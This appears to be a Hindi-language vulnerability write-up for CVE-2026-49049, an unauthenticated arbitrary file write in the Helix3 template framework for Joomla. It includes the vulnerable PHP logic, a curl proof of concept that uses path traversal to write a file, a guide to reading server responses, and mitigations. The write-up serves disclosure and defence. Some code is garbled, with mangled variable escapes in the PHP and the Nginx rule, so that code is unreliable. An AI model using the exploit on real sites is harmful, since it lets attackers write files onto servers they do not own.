CVE-2026-49049 भेद्यता अनुसंधान: JoomShaper Helix3 (Joomla) में अप्रमाणित मनमाना फ़ाइल लेखन

रिपॉजिटरी में CVE-2026-49049 नामक गंभीर भेद्यता के लिए सामग्री, तकनीकी विश्लेषण और प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल हैं, जो Joomla CMS के लिए JoomShaper के Helix3 टेम्पलेट फ्रेमवर्क (संस्करण 1.0 से 3.1.0 तक) में पाई गई थी।

यह भेद्यता स्वचालित बॉटनेट द्वारा जंगली में सक्रिय रूप से शोषित की जा रही है (विशेष रूप से AntonKill डिफेसमेंट अभियान के भाग के रूप में)।

🔬 भेद्यता का तकनीकी विश्लेषण

समस्या Joomla के सिस्टम AJAX हैंडलर (com_ajax) में है, जो प्लगइन plg_ajax_helix3 में विधि onAjaxHelix3() को कॉल करता है। घटक डेवलपर्स ने निम्नलिखित प्रदान नहीं किए:

1. उपयोगकर्ता प्रमाणीकरण जांच (प्रमाणीकरण बायपास)।
2. CSRF टोकन की जांच।
3. पैरामीटर layoutName को संसाधित करते समय पथ फ़िल्टरिंग (पथ ट्रैवर्सल सत्यापन)।

कमजोर PHP कोड का तर्कक्रम:

public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 प्रूफ ऑफ कॉन्सेप्ट (PoC)

भेद्यता के सत्यापन के लिए application/x-www-form-urlencoded सामग्री प्रकार के साथ POST अनुरोध का उपयोग किया जाता है। पैरामीटर पैकेजिंग की यह विधि दोष को प्रदर्शित करने के लिए सबसे प्रभावी है।

हमला वेक्टर (cURL कमांड):

curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

प्रेषित डेटा का विस्तृत विश्लेषण:

🎯 सर्वर प्रतिक्रियाओं का विश्लेषण (सत्यापन हस्ताक्षर)

पेनिट्रेशन टेस्टिंग के दौरान सर्वर विभिन्न प्रकार की प्रतिक्रियाएँ लौटा सकता है। उनकी व्याख्या महत्वपूर्ण है:

विकल्प A: भेद्यता सफलतापूर्वक काम कर गई (फ़ाइल लिखी गई)

सर्वर प्रतिक्रिया:

{"success":true,"message":null,"messages":null,"data":[]}

व्याख्या: प्लगइन कमजोर है, कोई OS प्रतिबंध नहीं हैं। फ़ाइल साइट रूट में सफलतापूर्वक बनाई गई है और https://target.com पर उपलब्ध है। साइट को तत्काल सफाई और अलगाव की आवश्यकता है।

विकल्प B: प्लगइन कमजोर है, लेकिन ऑपरेटिंग सिस्टम सुरक्षा काम कर गई

सर्वर प्रतिक्रिया:

{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

व्याख्या: आंशिक सफलता। Helix3 प्लगइन का तर्क टूट गया है - इसने बिना प्रमाणीकरण के डेटा स्वीकार कर लिया और फ़ाइल को लेखन के लिए खोलने का प्रयास किया (fopen). हालाँकि, लिनक्स ऑपरेटिंग सिस्टम ने इस कार्रवाई को अवरुद्ध कर दिया, क्योंकि वेब सर्वर उपयोगकर्ता (जैसे, www-data) के पास साइट रूट में लिखने की अनुमति नहीं है।

विकल्प C: सिस्टम सुरक्षित है (अपडेट या हटा दिया गया)

सर्वर प्रतिक्रिया: स्थिति 404 Not Found, 403 Forbidden या खाली प्रतिक्रिया []। व्याख्या: प्लगइन को सुरक्षित संस्करण (3.1.1+) में अपडेट कर दिया गया है, जहां प्रमाणीकरण जांच जोड़ी गई है, या इसे CMS से पूरी तरह से हटा दिया गया है।

🛡 शमन और खतरे को समाप्त करना

1. अपडेट / हटाना: Helix3 को 3.1.1 या उच्चतर संस्करण में अपडेट करें। यदि फ्रेमवर्क का उपयोग नहीं किया जा रहा है, तो Joomla प्रशासन पैनल के माध्यम से plg_ajax_helix3 प्लगइन को पूरी तरह से हटा दें।
2. WAF स्तर पर सुरक्षा (Nginx): दुर्भावनापूर्ण POST अनुरोधों को अवरुद्ध करने के लिए एक नियम जोड़ें:
   root@kitploit:~

   if (\(request_method = POST) { set\)test "P"; }
   if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
   if (\$test = PH) { return 403; }
   

अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और सिस्टम सुरक्षा (पेनिट्रेशन टेस्टिंग) के वैध ऑडिट के लिए प्रदान की गई है। लेखक प्रदान की गई जानकारी के दुरुपयोग के लिए जिम्मेदार नहीं है।